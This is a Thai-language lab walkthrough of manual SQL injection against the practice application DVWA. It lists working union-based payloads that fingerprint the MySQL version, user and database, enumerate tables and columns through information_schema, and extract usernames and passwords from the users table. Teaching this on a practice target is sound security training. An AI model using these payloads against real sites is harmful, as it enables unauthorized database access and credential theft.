บทนำ (Overview)
บทความนี้นำเสนอการตรวจสอบช่องโหว่ “Sql injection” และพยายามเข้าถึงตารางฐานข้อมูลของ “Web application” เพื่อดึงข้อมูล “Login” ออกมา โดยวิธีการไม่ต้องใช้เครื่องมือใด ๆ ช่วย “Damn Vulnerable Web App (DVWA)”
ขั้นตอน (Steps)
- เลือกเมนู “SQl injection”
- ทดลองพิมพ์เลข 1 ในช่อง แล้วกดปุ่ม “Submit” จะพบว่ามีข้อมูล ชื่อและนามสกุลของ “UserID” หมายเลข 1 ขึ้นมา ทดลองกรอก 2 แล้วตรวจสอบผล
- จากนั้นเรามาทดสอบกันว่ามีสัญญาณอะไรหรือไม่ที่จะบ่งบอกให้ทราบว่า ฐานข้อมูลอาจมีความผิดพลาดถ้าเรากรอกอักขระพิเศษเข้าไป ทดลองกรอก Single qoute ‘
- เราพบ You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ””’ at line 1 แสดงว่าเป็นไปได้ที่จะมีช่องโหว่ SQL injection จากนั้นทดลองใช้คำสั่ง ‘ or ‘1’ = ‘1 แล้วสังเกตุผล
- จากผลข้างต้นพบว่าเราสามารถ แสดงรายการของ “UserID” ทั้งหมดได้ ที่นี้เราเริ่มแน่ใจแล้วว่ามีช่องโหว่ SQL injection ลองมาหากันว่าในการแสดงข้อมูลบนหน้าเว็บ จะต้องใช้ข้อมูลจากกี่ Field ในฐานข้อมูล โดยใช้คำสั่ง “order by 1” โดยหมายเลขดังกล่าวจะถูกไล่ ไปเรื่อย ๆ จนพบว่าฐานข้อมูล “Error”
รอบที่ 1 ' order by 1# รอบที่ 2 ' order by 2# รอบที่ 3 ' order by 3# //# หมายถึง Comment จะไม่สนคำสั่ง SQL หลังจากนี้
- จากการทดลองพบว่า เมื่อถึงรอบที่ 3 มีข้อความ “Error” จากฐานข้อมูล สามาเหตุเพราะว่าไม่สามารถเรียงลำดับข้อมูล (order) ใน Field ที่ 3 ได้ เพราะฉะนั้นในการ “Query” ข้อมูลใช้เพียงแค่ 2 “Fields” เท่านั้น (select field1 field2) เราจึงทดลองต่อไปว่าถ้าเราดึงข้อมูลระบบ และทำการ “join records” ทั้งสอง “fields” ที่พบจะเป็นอย่างไร โดยใช้คำสั่งตามข้างล่าง
' union select null, version()# //union หมายถึง การรวม Record จากคำสั่งที่สอง //null หมายถึงค่าวางแต่มีการใช้งาน Field ที่ 1 //version() หมายถึงคำสั่งเรียกดู version ของ mysql //# หมายถึง Comment จะไม่สนคำสั่ง SQL หลังจากนี้
- จากการทดลองพบว่า “Version” ของ “Mysql” ไปโผล่ที่ข้อมูลของ “Surname” ที่นี้ลองมากกว่าเดิมเพื่อดึงข้อมูล user ของ database ออกมาไว้ที่ช่อง “Surname” เหมือนเดิม โดยใช้คำสั่งตามข้างล่าง
' union select null, user()#
- เราจะได้ “user” ของฐานข้อมูลที่ใช้งานโดย “Web application” ต่อมาเราจะตรวจสอบชื่อ “database” โดยใช้คำสั่งคือ
' union select null, database()#
- เราสามารถเข้าถึง ตารางต่างในฐานข้อมูลได้โดยใช้คำสั่ง
' union select null, table_name from information_schema.tables #
- เนื่องจากเป็นไปได้ว่าใน “Database Server” อาจมีตารางมากมาย เราอาจลอง “Query” โดยเดาสุ่มชื่อตาราง เช่น table, login…
' union select null, table_name from information_schema.tables where table_name like 'user%'# //% หมายถึงการค้นหาอักขระอะไรก็ได้ตามหลังคำว่า user
- เราพบตาราง “User” ถึง 3 ตาราง ทดลอง “Query” ตาราง “Users” ก่อน แต่ปัญหาคือเราไม่ทราบชื่อ Fields ดังนั้นเราจะต้องค้นหาชื่อ Filed ที่ใช้ในตาราง “Users” เสียก่อน
' union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'users' # //concat หมายถึงคำสั่งรวมอักขระ (String) โดยสามารถรวมได้ หลาย Sting โดยใช้ , คั่น //0x0a คำสั่งขึ้นบันทัดใหม่
- เราพบ “Field” ที่น่าสนใจคือ “user” และ “password” มันมีความเป็นไปได้ว่าจะเป็น “username” และ “password” ของ “Web application” ทดลองดึงขอมูลมาตรวจสอบ โดยใช้คำสั่ง
' union select null, concat(user,0x0a,password) from users #